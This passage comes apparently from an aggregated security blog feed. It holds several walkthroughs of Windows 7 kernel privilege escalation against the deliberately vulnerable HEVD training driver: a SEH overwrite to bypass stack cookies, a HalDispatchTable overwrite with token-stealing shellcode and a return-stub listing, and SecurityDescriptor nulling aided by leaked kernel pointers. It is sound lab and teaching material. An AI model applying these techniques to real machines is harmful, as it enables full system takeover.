Naturally, a breakpoint at 87e3f964 e871c8ffff      call    HEVD!memcpy (87e3c1da) would be more precise, as we could see directly how the stack buffer looks like before and after memcpy executes. Let's set it:

By listing the existing breakpoints again, we can see that windbg neatly displays both addresses using properly resolved symbols, so our second breakpoint set using the address 87e3f964 got nicely resolved to HEVD!TriggerStackOverflow+0x8a. I personally prefer to save these, so I can use them later when running again, just to remember where the actual breakpoint I am interested in is.

Now, we need to interact with the driver in order to see how the buffer we supply is stored on the stack, what do we overwrite and how error conditions we cause this way will differ depending on the buffer size.

For this purpose, I assembled a simple piece of C code based on other existing HEVD PoCs (I use Dev-C++) https://gist.github.com/ewilded/1d015bd0387ffc6ee1284bcb6bb93616:

  • it offers two payload types; a string of A-s or up to 3072 bytes of de Brujin sequence,
  • it asks for the size argument that will be sent over to the driver.

Below screenshot demonstrates running it in order to send a 512-byte buffer filled with 'A':

At this point we should hit the first breakpoint. We just let it go (g) and let it hit the second breakpoint (just before memcpy):

Let's see the stack:

Now, let's just step over once (p), so we get to the next instruction after the memcpy call, and examine the stack again:

So we can clearly our 512-byte buffer filled with 'A'. Now, at this point there is no buffer overflow.

Now, the next value on stack, right after that buffer (in this case 070d99de), is the stack cookie.

By the way, this is a good opportunity to notice the call stack (function call tree):

We can see that our saved return address is 87e3f9ca (HEVD!TriggerStackOverflowGS+0x8f)(red). The SEH handler pointer we will overwrite is sitting between the stack cookie and the saved RET (green):

If we let it running further (g), we can see nothing happens and fuzz.exe returns:

Good, as the buffer was 512, there was no overflow, everything returned cleanly.

Now, let's see what happens when we increase the buffer size by just one:

First two breakpoints hit, nothing to see yet:

Now, let's step over (p or F10) and see the stack again. This time we overwrote the stack cookie, by one byte (0d9bb941):

Now, let's let the debuggee go and see what happens (also, note the !analyze -v link generated in windbg output - click on it/run the command to see more details about the crash):

We end up with a fatal error 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER), which means that the __SEH_epilog4_GS function detected the change in the cookie saved on the stack and triggered a fatal exception.

Just as expected.

It is important to pay close attention to the error code, especially in this case: 0x000000f7 (DRIVER_OVERRAN_STACK_BUFFER) looks a lot like 0x0000007f (DOUBLE_TRAP), whereas the second one basically means that some sort of exception was triggered while already executing some exception handler - in other words, it means that after one exception, the code handling the exception encountered another exception. Distinguishing between these two (easy to mix up) is crucial while developing this exploit, as while the first one indicates that the stack cookie was overwritten and that the SEH __SEH_epilog4_GS has executed and detected the tampering to prevent exploitation. On the other hand, 0x0000007f (DOUBLE_TRAP) indicates that we triggered an exception and that afterwards another exception was raised. We can trigger an access violation by providing sufficiently large value of the Size argument in an IRP, causing the kernel-mode memcpy call to either read beyond the page of the user-mode process working set, or write beyond the kernel stack, depending on which happens first).

Exploitation approach

When it comes to stack cookies, there are several bypass scenarios.

The stack cookie could be leaked by exploiting another vulnerability (chaining, just like in one of my previous write ups) and then used in the payload to overwrite the original value of the canary cookie with the original value, making the entire stack-smashing invisible to the stack canary-checking routine called in the function's epilogue.

Another chaining method involves overwriting the process-specific pseudo-random value of the current cookie in the process memory, wherever it is stored (depending on the OS and compiler).

And then finally there is the third exploitation approach, abusing the fact that exception handlers are executed before the stack cookie is checked. Sometimes it is possible to abuse exception handling code - in this case a SEH handler pointer, which is also stored on the stack in a location we can overwrite. The idea is to abuse the memory corruption vulnerability in such a way that we overwrite a pointer to an exception handler and then we trigger an exception within the same function, before the stack checking routine in the function's epilogue is executed. This way we redirect the execution to our payload (our shellcode), which first elevates our privileges (in this case, as it's a local kernel EoP exploit), then returns to the parent function (the function that called the function we are exploiting - the parent in the call stack/call tree), without ever running the stack cookie-checking routine.

Again, please refer to https://dl.packetstormsecurity.net/papers/bypass/defeating-w2k3-stack-protection.pdf for more details on the general subject of defeating stack cookies under Windows.

HEVD official PoC

The tricky part in this exercise is that we have to do both things with one input (one device interaction, one IRP with a buffer pointer and size, one call of the TriggerStackOverflowGS function); overwrite the pointer to the SEH exception handler AND cause an exception that the handler would be used for.

The only viable option here is to cause the vulnerable memcpy call itself first  overwrite the buffer along with the saved stack cookie and the SEH handler pointer AND trigger an access violation exception - either due to exceeding the size of the user mode buffer and reading past the memory page that holds it, or by writing past the stack boundary (whichever happens first). Now, writing down the stack would completely wipe out all the older (parent) stack frames, making it super hard to return from the shellcode in a way that would avoid crashing the system. Thus, having the kernel code read past the user-supplied user mode buffer is a much better option - and I really like the way this has been solved in the original HEVD PoC (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).

The entire payload that is introduced into the kernel buffer (bytes we write to the stack) is 532 bytes long. It's 512 bytes of the original buffer, 4 bytes of the stack cookie, 12 bytes of other 3 DWORDs that we don't care about (in the payload referred to as junk) and then finally 4 bytes of the SEH handler. 512 + 4 + 12 + 4 = 532. This is the exact number of bytes that need to be written to the stack for the SEH handler pointer to be overwritten with a value we control.

Now, in order to trigger an access violation exception in the same operation (memcpy), just after our 532 bytes from our user mode buffer were copied into the kernel mode stack, we want to place our 532-byte payload at the end of a page (the basic memory allocation unit provided by the OS memory manager, 4096 bytes by default). So from our user mode program, we allocate a separate page (4096-byte buffer). Then we put our payload into its tail (last 532 bytes) - so our payload starts on the 3565-th byte and ends on the 4096-th (the last 4 bytes being the pointer to our shellcode).

Finally, to trigger an access violation, we adjust the buffer size parameter sent encapsulated in the IRP, to exceed the size of our payload (so it must be bigger than 532, e.g. 536). This will cause memcpy running in kernel mode to attempt reading four bytes beyond the page our payload is located in. To make sure this causes an access violation, the page must not have an adjacent/neighbor page. So for example, if the virtual address of the user mode page allocated for the buffer with our payload is 0x00004000, with page size being 0x1000 (4096), the valid address range for this page will be 0x00004000 <--> 0x00004fff. Meaning that accessing address 0x00005000 or higher would mean accessing another page starting at 0x00005000 (thus we call it an adjacent/neighbor page). Since we want to achieve an access violation, we need to make sure that no memory is allocated for the current (exploit) process in that range. So we want just one, alone page allocated, reading past which causes an access violation.

There are a few ways to cause such a violation. For example, two adjacent pages can be allocated, then the second one could be freed, then the read operation is triggered on the first one, with the size operand making it read beyond the first page, entering the second one. And this is the method employed by klue's PoC: https://github.com/klue/hevd, with his mmap and munmap wrappers around NtAllocateVirtualMemory and NtFreeVirtualMemory.

Another one is to allocate the page in a way that ensures nothing else is allocated in the adjacent address space, which is what the official HEVD exploit does by using an alternative memory allocation method supported by Windows.

Let's  analyze the code (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/StackOverflowGS.c).

First, we have declarations. hFile is used for opening the driver object (in order to then send the IRP) . PageSize is 0x1000 (4096). MemoryAddress is the pointer to the special page we are going to allocate our stack-smashing payload (528 bytes of junk, 4 bytes overwriting the SEH handler pointer, pointing at our shellcode, located at the page's tail, starting at 3565-th byte). SuitableMemoryForbuffer is the pointer we are going to pass to HEVD as the UserBuffer. It will point at the 3565-th byte of the 4096-byte page allocated at MemoryAddress. EopPayload is another pointer, another location in user mode, containing our shellcode (so the shellcode is in a separate user mode buffer than the special page we are allocating for the stack-smashing payload):

Variable declarations

Finally, there is SharedMemory - a handle to the mapped file object we are going to create (as an alternative way of allocating memory). Instead of requesting a new page allocation with VirtualAlloc, an empty, non-persisted memory mapped file is created. Memory-mapped files are basically section objects (described properly in Windows Internals, Part 1, "Shared memory and mapped files" section), a mechanism used by Windows for sharing memory between processes (especially shared libraries loaded from the disk), also please see the official Microsoft manual to find out more about https://docs.microsoft.com/en-us/dotnet/standard/io/memory-mapped-files).

In this case, we are going to request creation of a "mapped-file" object without any file, by providing an INVALID_HANDLE_VALUE as the first argument to CreateFileMappingA - this scenario is mentioned in the manual page of this function (https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createfilemappinga):

So it's basically a section ("mapped file") object only backed by the system paging file - in other words, a region in the system paging file that we can map to our process's address space and use just like (almost) a regular page:

Creation of a mapped file object

 Now, we map that region to our address space:

Mapping the object to the current process address space

Now, we're setting the SuitableMemoryForBuffer pointer at 3565-th byte of the SharedMemoryAddress region (this is where we will locate our 532-byte payload that will be then copied by the driver to a buffer on its stack):

Setting the payload pointer at 3565-th byte of the 4096 memory region

And we will the entire region with 'A':

Filling the entire 4096-byte region with 'A'

Then eventually, the payload is finished by setting its last 4 bytes to contain the user mode address of the shellcode (these bytes will overwrite the SEH handler). This is done in a bit indirect way, as first the pointer (MemoryAddress) is set at offset 0x204 (516) - right past the xored stack cookie - and overwrites 3 of the following junk pointers, only to eventually set the new value for the SE handler:

Grooming the buffer - this is tricky

It seems that simply setting the MemoryAddress to point at SuitableMemoryForBuffer + 0x210 directly (to point it at the location that will overwrite the SE handler pointer) would do the trick as well - other locations on the stack would be overwritten with meaningless 'A's anyway:

Then finally, we trigger the creation of our IRP and send it to the driver along with pointers to the UserBuffer (SuitableMemoryForBuffer - 3656-th byte of the 4096-byte region) and the Size argument; SeHandlerOverwriteOffset + RAISE_EXCEPTION_IN_KERNEL_MODE. SeHandlerOverwriteOffset is just the size of our payload (532). Then, a constant RAISE_EXCEPTION_IN_KERNEL_MODE is added to the size - it's just a numeric constant of 0x4 - and it's only to make the size argument exceed 4096 when added to the 3656-th byte being provided as the beginning of the buffer to read from:

Finally, talking to the driver

Shellcode

Our shellcode being a separate buffer in user mode, which will get executed by kernel mode HEVD code, instead of the legitimate exception handler - on modern kernels this would not get executed due to SMEP, but we're doing the very basics here.

First of all, let me recommend ShellNoob. It's a neat tool I always use whenever I want to:

  • analyze a shellcode (a sequence of opcodes) or a just some part of it,
  • write shellcode.

In this case we will use a slightly modified version of the publicly available, common Windows7 token-stealing payload (https://github.com/hasherezade/wke_exercises/blob/master/stackoverflow_expl/payload.h):

After converting the shellcode to ascii-hex and pasting it to shellnoob input (opcode_to_asm), this is what we get:

Our shellcode, executing in kernel mode, finds the SYSTEM process and then copies its access token over the token of the exploit process. This way the exploit process becomes NT AUTHORITY/SYSTEM. Have a look into https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/Payloads.c to see descriptions of all individual assembly instructions in this payload. Pay attention to the fact that while shellnoob output presents assembly in AT&T syntax, Payloads.c contain assembly in Intel syntax (this is why it's worth to know both, http://staffwww.fullcoll.edu/aclifton/courses/cs241/syntax.html).

This shellcode, however, requires one more adjustment.

Clean return

Now, the problem is, if we simply use this shellcode to exploit this particular vulnerability, the kernel will crash right after modifying relevant access token. The reason for this is the return process and messed up stack. The problem - and the solution - are already well described at https://klue.github.io/blog/2017/09/hevd_stack_gs/. I myself had to get my head around the process my own way to fully understand it and confirm (instead of just blindly running it and trusting it would work), that in fact the return stub provided by klue is going the correct one:

mov 0x78c(%esp), %edi
mov 0x790(%esp), %esi
mov 0x794(%esp), %ebx
add $0x9b8, %esp
pop %ebp
ret $0x8

So, the following return stub

had to be replaced. Again, I used shellnoob to obtain the opcodes:

Basically the entire problem boils down to the fact that we need to return to somewhere - and when we do, the stack needs to be aligned the same way as it would normally be during normal execution.

The entire process of aligning the stuck boils down to three things. First, identifying, where we will be returning - and taking notice of what the stack and the registers look like when return to that location is made normally. Second, setting a breakpoint in our shellcode, to again take notice of what the stack and the registers look like when our shellcode executes (it's convenient to use hardcoded software breakpoint in the shellcode itself - just append it with 0xcc (int3) instead of the return stub). Third, comparing the state of the registers and the stack between the two stages, finding where the register values to restore are in memory, restore them, then finally adjust the last one of them (ESP) and make the return.

Running

Source code can be found here.

Improving the write-what-where HEVD PoC (x86, Win7)

17 October 2021 at 20:12

Introduction

This one is about another HEVD exercise (look here to see the my previous HEVD post); the arbitrary write (https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/ArbitraryWrite.c). The main reason I decided to write up my experience with it is the fact that it instantly occurred to me that the official exploitation process, used both in the original PoC as well as described here, leaves the kernel in an unstable state with high probability of crash anytime after the exploit is run. So, this post is more about the exploitation technique, the problem it creates and the solution it asks for, rather than the vulnerability itself. It also occurred to me that doing HEVD exercises fully (like understanding exactly what and how) is quite helpful in improving the general understanding of how the operating system works.

When it comes to stuff like setting up the environment, please refer to my earlier HEVD post. Now let's get started.

The vulnerability

This one is a vanilla write-what-where case - code running in kernel mode performs a write operation of an arbitrary (user-controlled) value into an arbitrary (user-controlled) address. In case of a x86 system (we keep using these for such basic exercises as they are easier while debugger output with 32-bit addresses is more readable), it usually boils down to being able to write an arbitrary 32-bit value into an arbitrary 32-bit address. However, it is also usually possible to trigger the vulnerability more than once (which we will do in this case, by the way, just to fix the state of the kernel after privilege escalation), so virtually we control  data blocks of any size, not just four bytes.

First of all, we have the input structure definition at https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Exploit/ArbitraryOverwrite.h - it's as simple as it could be, just two pointers:

Then, we have the TriggerArbitraryWrite function in https://github.com/hacksysteam/HackSysExtremeVulnerableDriver/blob/master/Driver/HEVD/Windows/ArbitraryWrite.c (screenshot below). First, we have a call to ProbeForRead on the input pointer, to make sure that the structure itself is located in user space (both ProbeForRead and ProbeForWrite methods throw an access violation exception if the address provided turns out to belong to the kernel space address range). Then, What and Where values held by the structure (note that these are both pointers and there are no additional checks here whether the addresses those pointers contain belong to kernel or  user space!) are copied into the local kernel mode function variables:

Then, we have the vulnerable write-what-where:

Now, let's see how this C code actually looks like after it's compiled (disassembly view in windbg):

Exploitation

So, as always, we just want to run our shellcode in kernel mode, whereas the only thing our shellcode does is overwriting the security token of our exploit process with the one of the SYSTEM process (token-stealing shellcode).  Again, refer to the previous blog post https://hackingiscool.pl/hevd-stackgs-x86-win7/ to get more details on the shellcode used.

To exploit the arbitrary write-what-where to get our shellcode executed by the kernel, we want to overwrite some pointer, some address residing in the kernel space, that either gets called frequently by other processes (and this is what causes trouble post exploitation if we don't fix it!) or is called by a kernel-mode function that we can call from our exploit process (this is what we will do to get our shellcode executed). In this case we will stick to the HalDispatchTable method - or to be more precise, HalDispatchTable+0x4. The method is already described here https://poppopret.blogspot.com/2011/07/windows-kernel-exploitation-basics-part.html (again, I recommend this read), but let's paraphrase it.

First, we use our write-what-where driver vulnerability to overwrite 4 bytes of the the nt!HalDispatchTable structure (nt!HalDispatchTable at offset 0x4, to be exact). This is because the NtQueryIntervalProfile function - a function that we can call from user mode - results in calling nt!KeQueryIntervalProfile (which already happens after switching into kernel mode), and that function calls whatever is stored at nt!HalDispatchTable+0x4:

So, the idea is to first exploit the arbitrary write to overwrite whatever is stored at nt!HalDispatchTable+0x4 with the user-mode address of our shellcode, then call the NtQueryIntervalProfile only to trick the kernel into executing it via calling HalDisaptchTable+0x4 - and it works like a charm on Windows 7 (kernel mode execution of code located in user mode buffer, as no SMEP in place).

The problem

The problem is that nt!HalDispatchTable is a global kernel structure, which means that once we tamper it, it will still be there if any other program refers to it (e.g. calls NtQueryIntervalProfile). And it WILL affect whatever we will be doing enjoying our SYSTEM privileges, because it WILL crash the entire system.

Let's say that the buffer holding our shellcode in our user mode exploit is at 00403040. If we overwrite the original value of nt!HalDispatchTable+0x4 with it, that shellcode will only be reachable and thus callable if the current process being executed is our exploit. Once the scheduler interrupt switches the current CPU core to another process, in the context of that process the user mode virtual address of 00403040 will either be invalid (won't even fall into any committed/reserved virtual address range within the virtual address space used by that process) or it will be valid as an address, but in reality it will be mapped to a different physical address, which means it will hold something completely different than our shellcode. Remember, each process has its own address space, separate from all other processes, whereas the address space of the kernel is global for the entire system. Therefore every kernel space address makes sense to the entire system (kernel and all processes), whereas our shellcode at 00403040 is only accessible to our exploit process AND the kernel - but only when the process currently being executed is our exploit. The same address referred to from a different process context will be invalid/point at something completely different.

So, after we tamper HalDispatchTable+0x4 by overwriting it with the address of the shellcode residing in the memory of the current process (our exploit) and call NtQueryIntervalProfile to get the shellcode executed, our process should now have SYSTEM privileges (and so will any child processes it spawns, e.g. a cmd.exe shell).

Therefore, if any other process in the system, after we are done with privilege escalation, calls NtQueryIntervalProfile, it will as well trick the kernel into trying to execute whatever is located under the 00403040 address. But since the calling process won't have this address in its working set or will have something completely different mapped under it, it will lead to a system crash. Of course this could be tolerated if we performed some sort of persistence immediately upon the elevation of privileges, but either way as attackers we don't want disruptions that would hurt our customer or potentially tip the defenders off. We don't want system crashes.

This is not an imaginary problem. Right after running the initial version of the PoC (which I put together based on the official HEVD PoC), all of the sudden I saw this in windbg:

Obviously whatever was located at 0040305b  at the time ( 000a - add byte ptr [edx],cl), was no part of my shellcode. So I did a quick check to see what was the process causing this - by issuing the !vad command to display the current process VADs (Virtual Address Descriptors), basically the memory map of the current process, including names of the files mapped into the address space as mapped sections - which includes the path to the original EXE file:

One of svchost.exe processes causing the crash by calling HalDispatchTable+0x4

One more interesting thing is that - if we look at the stack trace (two screenshots above) - the call of HalDispatchTable+0x4 did not originate from KeQueryIntervalProfile function, but from nt!EtwAddLogHeader+0x4b. Which suggests that  HalDispatchTable+0x4 is called from more places than just NtQueryIntervalProfile, adding up to the probability of such a post-exploitation crash being very real.

The solution

So, the obvious solution that comes to mind is restoring the original HalDispatchTable+0x4 value after exploitation. The easiest approach is to simply trigger the vulnerability again, with the same "where" argument ( HalDispatchTable+0x4) and a different "what" argument (the original value as opposed to the address of our user mode shellcode).

Now, to be able to do this, first we have to know what that original value of nt!HalDispatchTable+0x4 is. We can't try to read it in kernel mode from our shellcode, since we need to overwrite it first in order to get the shellcode execute in the first place. Luckily, I figured out it can be calculated based on information attainable from regular user mode execution (again, keep in mind this is only directly relevant to the old Windows 7 x86 I keep practicing on, I haven't tried this on modern Windows yet, I know that SMEP and probably CFG would be our main challenges here).

First of all, let's see what that original value is before we attempt any overwrite. So, let's view nt!HalDispatchTable:

The second DWORD in the memory block under nt!HalDispatchTable contains 82837940. Which definitely looks like an address in kernel mode. It has to be - after all, it is routinely called from other kernel-mode functions, as code, so it must point at kernel mode code. Once I called it up with dt command, windbg resolved it to HaliQuerySystemInformation. Running disassembly view command uu on it, revealed the full symbol name (hal!HaliQuerySystemInformation) and showed that in fact there is a function there (just based on the first few assembly lines we can see it is a normal function prologue).

OK, great, so we know that nt!HalDispatchTable+0x4, the pointer we abuse to turn arbitrary write into a privilege escalation, originally points to a kernel-mode function named hal!HaliQuerySystemInformation (which means the function is a part of the hal module).

Let's see more about it:

Oh, so the module name behind this is halacpi.dll. Now we both have the function name and the module name. Based solely on this information, we can attempt to calculate the current address of hal!HaliQuerySystemInformation dynamically. To do this, we will require the following two values:

  1. The current base address the halacpi.dll module has been loaded (we will get it dynamically by calling NtQuerySystemInformation from our exploit).
  2. The offset of the HaliQuerySystemInformation function within the halacpi.dll module itself (we will pre-calculate the offset value and hardcode it into the exploit code - so it will be version-specific). We can calculate this offset in windbg by subtracting the current base address of the halacpi.dll kernel-mode module (e.g. taken from the lmDvmhal command output) from the absolute address of the  hal!HaliQuerySystemInformation function as resolved by windbg. We can also calculate (confirm) the same offset with static analysis - just load that version of halacpi.dll into Ghidra, download the symbols file, load the symbols file, then find the static address of the function with its address within the binary and subtract the preferred module base address from that address.

Below screenshot shows the calculation done in windbg:

Calculating the offset in windbg

Below screenshots show the same process with Ghidra:

Preferred image base - 00010000
Finding the function (symbols must be loaded)
HaliQuerySystemInformation static address in the binary (assembly view)

Offset calculation based on information from Ghidra: 0x2b940 - 0x10000 = 0x1b940.

So, during runtime, we need to add 0x1b940 (for this particular version of halacpi.dll - remember, other versions will most likely have different offsets) to the dynamically retrieved load base address of halacpi.dll, which we retrieve by calling NtQuerySystemInformation and iterating over the buffer it returns (see the PoC code for details). The same function, NtQuerySystemInformation, is used to calculate the runtime address of the HalDispatchTable - the "what" in our exploit (as well as the  original HEVD PoC code and many other exploits of this sort). In all cases  NtQuerySystemInformation is called to get the current base address of the ntoskrnl.exe module (the Windows kernel). Then, instead of using a hardcoded (fixed) offset to get HalDispatchTable, a neat trick with LoadLibraryA and GetProcAddress is used to calculate it dynamically during runtime (see the full code for details).

The reason I could not reproduce this fully dynamic approach of calculating the offset from the base (calling LoadLibrary(halacpi.dll) and then GetProcAddress(HaliQuerySystemInformation)) to calculate hal!HaliQuerySystemInformation and used a hardcoded, fixed, manually precalculated 0x1b940 offset instead, is because the HaliQuerySystemInformation function is not exported by halacpi.dll - whereas GetProcAddress only works for functions that have their corresponding entries present in the DLL Export Table.

Full PoC

The full PoC I put together can be found here: https://gist.github.com/ewilded/4b9257b552c6c1e2a3af32879f623803.

nt/system shell still running after the exploit process's exit
The original HalDispatchTable+0x4 restored after exploit execution

An in-depth look at hacking back, active defense, and cyber letters of marque

17 November 2021 at 19:16

There has been much discussion in cyber security about the possibility of enabling the private sector to engage in active cyber defense, or colloquially “hacking

The post An in-depth look at hacking back, active defense, and cyber letters of marque appeared first on MalwareTech.

HackSys Extreme Vulnerable Driver — Arbitrary Write NULL (New Solution)

18 November 2021 at 19:23

HackSys Extreme Vulnerable Driver — Arbitrary Write NULL (New Solution)

A simple (not stealth) method utilizing NtQuerySystemInformation for Arbitrary Write NULL vulnerabilities

Today, we’re going to have a deep looking through an interesting exploitation technique using NtQuerySystemInformationsystem call in order to achieve a LPE - (Local Privilege Escalation) through HEVD - (Hacksys Extreme Vulnerable Driver). The follow content will only show about possibilities (but unreliable) techniques and methodologies on how to exploit a specify vulnerability typed Arbitrary Write NULL in most of vulnerable x86drivers (in case you doesn’t have certain tools in order to exploit them). Also, we’ll not cover how to install and configure kernel debugging or HEVD IOCLT communication, and all content from this write-up lies behind what should be done to work around with a view to get a LPE.Hope everyone enjoy! =)

Introduction

First of all, we need to talk about what is Arbitrary Write NULL vulnerability, and at kernel perspective, what should be possible to do with it in order to achieve LPE in our simple cmd.exe session from ring3 (user-land).

In short, Arbitrary Write NULL is most like Arbitrary Write vulnerabilities, the difference behind them, is that the first one allows you to be able to write->[0x00000000] in whatever address/pointer you looking for, and the second one, allows you to define explicitly Write-What-Where, allowing things like write->[0xdeadbeef], meaning that you have control over value of an address/pointer which will be overflowed with 0xdeadbeef, instead only 0x00000000. At below we are going to have a looking deep in to HEVD driver vulnerable function, dissect and understand what is happening.

[HEVD]-TriggerWriteNull

HEVD - https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
TriggerWriteNULL function which handle kernel user-buffer, and check if it resides in ring3 (user-land).
Source-code of vulnerable driver function

As you can see here, ifdef SECURE (which is not), probeForWrite() function should verify and confirm that our user input buffer is located at ring3, otherwise our input buffer with be nullified without properly security checks.

Reversing Engineering vulnerable function

As commented, [edi] register is been overflowed with 0x00000000 by [ebx] register as occurs when compiled code wasn’t defined with #ifdef SECURE bit set.

Since IOCTLdrive connection is predefined, we can test it and see that our first 4 bytes from user-buffer (shellcode_ptr), is about to be nullified with 0x00000000.

Placing a breakpoints on strategic addresses and running it.
Reading important addresses using WinDBG cmd

After script run, and hit break-point, we can clearly notice that [edi] value contains our address to the pointer of user-buffer address shellcode_ptr -> 0x00500000.

Reading important addresses using WinDBG cmd

As an example, the content of our shellcode is storing a piece of x86 assemblycode to LPE our permissions. At your first 4 bytes, you can see that have the initial parts of our shellcode start. Now ignoring the code located there, we’re only looking into 0xa16460cc address.

Here, you can see the vulnerability since ebx=0x00000000 is being overwriting our value inside user-buffer eax=0xa16460cc.

The problem here is obvious, as a simple user (ring3), if we send a whatever address, it will be nullified, no matter what or how, just it will stay NULL.

Said all that, we know from here that we actually only can write NULL bytes to our defined address/pointer, and do some magic to achieve LPE from there, but… how can we do that? Let’s talk about DACL & Security Description.

DACL & Security Description

First of all, what is DACL and Security Description? how them can be exploited using Arbitrary Write NULL vulnerabilities?

According to https://networkencyclopedia.com/discretionary-access-control-list-dacl/

What is DACL (Discretionary Access Control List)?
A DACLstands for Discretionary Access Control List, in Microsoft Windows family, is an internal list attached to an object in Active Directory that specifies which users and groups can access the object and what kinds of operations they can perform on the object. In Windows 2000 and Windows NT, an internal list attached to a file or folder on a volume formatted using the NTFS that has a similar function.
How DACL works?
In Windows, each object in Active Directory or a local NTFS volume has an attribute called Security Descriptor that stores information about
The object’s owner (the security identifier or the owner) and the groups to which the owner belongs.
The discretionary access control list (DACL) of the object, which lists the security principals(users, groups, and computers) that have access to the object and their level of access.
The system access control list (SACL), which lists the security principals that should trigger audit events when accessing the list.

Basically, DACL is a list that contains features, one of them are called Security Description (we will take deep soon). This list are configured to handle calls and filter what object (files, processes, threads, etc), should be allowed or not for specific (user, groups, or computers). Hard to understand? Let me show up it as Window UI. =)

Maybe this image should be familiar to you right?. This area is one of various that you can manage DACL & Security Descriptions easily (without knowing that they actually exists).

As we can see, isn’t hard to understand what it is and why it was created, the thing is, what defines internally what permissions an user can have on it? What objects are configured in DACL to be filtered? let’s have a deep look into Windows Internals and his structs.

First of all, let’s take a look at WinDBG process list.

WinDBG processes list

When we do list our windows processes in WinDBG, we can see that every process have the same patterns, only with different values or addresses ranges. In the image above, you can notice a marked address 0x856117c8, this address represents a windows object, and this object have some important properties which defines: process name, permissions, process ID’s, handles, etc. (i’ll not extend this, so let it just as a simple recap).

A interesting thing that we can explore at moment, isn’t any else then nt!_OBJECT_HEADER struct. This struct have literally what tools we need to work and start our attack.

Getting nt!_OBJECT_HEADER address from System (PID:4) process
Viewing information about System (PID:4) process header

As an image above says, we simply dissect our process utilizing nt!_OBJECT_HEADER struct, which gave us information about what is located in our object. Also it’s important to notice that nt!_OBJECT_HEADER only look for addresses offsets before nt!_EPROCESS, which means that nt!_EPROCESS range, should stay after those offsets.

But what happens to SecurityDescription?

SecurityDescription poiting to 0x8c005e1f

Another interesting thing is that our SecurityDescription (0x856117b0+0x014) is pointing to 0x8c005e1f address, meaning that something is happening here, and this address have some interaction to DACL & Security Description implementations.

Now, let’s have a deep look in this specific address 0x8c005e1f.

Visualizing SecurityDescription struct from System (PID:4) Process

Utilizing previous target SecurityDescriptionaddress with WinDBG command !sd, with simple bit calculation, we now are able to understand much better how it’s implementation are configured on Windows Internals. So, those marked value, remember you something? Yes, that’s right, this marks are the users information stored in the process. At image below, we can compare these two DACL information.

SYSTEM and DAML users (colors compared to last image)

As we can compared these two images, we notice that SYSTEM and DAML users, are related to another image about SecurityDescription(Windows Internals). It’s a example (not legit), that how we can compare this two values.

Knowing that, and understanding the concepts that we actually can nullify any address from ring0 (kernel) only as an simple user, let’s try to make SecurityDescription address (0x856117b0+0x014) point to NULL (0x00000000), and see what happens!

SecurityDescription poiting to 0x8c005e1f
Nullifying SecurityDescription Pointer
Results after nullification of the pointer

Ok! now System.exe (PID:4) process have SecurityDescriptor pointer nullified. Now let’s try to continue our VM snapshot.

Maybe you don’t understand, but it’s written “Do you want close [System] Process?”
ERROR: DCOM server process launcher service terminated unexpectedly
Wait, what happened? we closed [System.exe] process manually? and without user permissions for it? using task manager?

Yes! only nt authority/SYSTEM should have permissions to close this process, but how could be possible a simple user BSOD'ed whole system? There’s, the magic behind this exploitation is a well-know exploitation technique which nullify SecurityDescription behaviors from SYSTEM processes, it technique is very used for LPE exploits since it applies no permissions bit for those target processes. In short, from WinDBG we manually nullified the pointer which contains those permissions information in SecurityDescription meaning that anyone now can write/read/execute in this process. =)

But there’s a problem here, we now understand what we need to do in order to elaborate our exploit but i ask you, how we can identify SYSTEM process objects from a simple ring3 (user-land)?

WinDBG processes list

In the image above, since we’re looking those addresses from WinDBG screen ring0 (kernel mode), we clearly see the object there, but also we need to know that those values are not accessible (also unpredictable), to our simple user from ring3 (user-land). The randomization of these addresses are implemented every time since Windows 7 is rebooted (Address Space Layout Randomization or ASLR), these mitigations deny every try to work with static address. Lastly, another important thing is that the randomization by self are unpredictable (in most of my tests), these objects only randomize through 0x85xxxxxx to 0x87xxxxxx, which means i actually don’t know if a bypass of this randomization (from ring3), actually exists.

So, what to do next?

NtQuerySystemInformation - Handle Leaking Attack

As mentioned before, isn’t possible to exploit from ring3 (user-land) due to a lot of permissions restrictions placed by our target “Operation System (windows 7)so what kind of things can we do to bypass these restrictions? the answer is NtQuerySystemInformation WinAPI call.

NtQuerySystemInformation by design is one of various security flaws that for Microsoft only represents a feature to an user perspective. The biggest problem about it WinAPI call, is that it’s configured by default to accept user calls (from undocumented behaviors), which should be parsed and queried together ring0 (kernel mode) information, as resulting in an leak of SYSTEM addresses/pointers. This WinAPI Call, is a well-know method for memory leaking attacks, since it’s allow an attacker to know exactly what pointers are important, and elaborate a better methodology for explore his target vulnerability (in our case WriteNULL).

But how could it be possible to leak information from ring3?

Before we start to looking deep into vulnerable (features) calls, we should look at first to the definition of handles, and why we need to get focus on it.

according to: https://stackoverflow.com/questions/902967/what-is-a-windows-handle

It’s an abstract reference value to a resource, often memory or an open file, or a pipe.
Properly, in Windows, (and generally in computing) a handle is an abstraction which hides a real memory address from the API user, allowing the system to reorganize physical memory transparently to the program. Resolving a handle into a pointer locks the memory, and releasing the handle invalidates the pointer. In this case think of it as an index into a table of pointers… you use the index for the system API calls, and the system can change the pointer in the table at will.
Alternatively a real pointer may be given as the handle when the API writer intends that the user of the API be insulated from the specifics of what the address returned points to; in this case it must be considered that what the handle points to may change at any time (from API version to version or even from call to call of the API that returns the handle) — the handle should therefore be treated as simply an opaque value meaningful only to the API.

In short, handles have properties to create and configure communications through objects (open files I/O, apis, pipes, etc), on Operation System (OS). These handles are carrying a bunch of information about these objects, one of them are pointers. Basically, handles loads pointers, but do you know the best part of it? is the possibility to leak these pointer from ring3 (user-land), and that’s what we need to deep our look.

Knowing that, NtQuerySystemInformation afford a lot interesting calls, on top of that, we have an undocumented call named SystemExtendedHandleInformation, which supports the follow structs.

SYSTEM_HANDLE_TABLE_ENTRY_INFO
SYSTEM_HANDLE_INFORMATION

These structs, should help us to leak handle pointers, and that’s how the magic starts.

Utilizing the designed flaw calls, let me fuzz some handle data from ring3 (user-mode) perspective and see what happens.

Piece of code to leak handles data
This part will loop all handles and get his data
Script running and leaking pointers from ring3 (user-land) (PID:444)
Script running and leaking pointers from ring3 (user-land) (PID:1240)
[11931] Leaked pointers found it

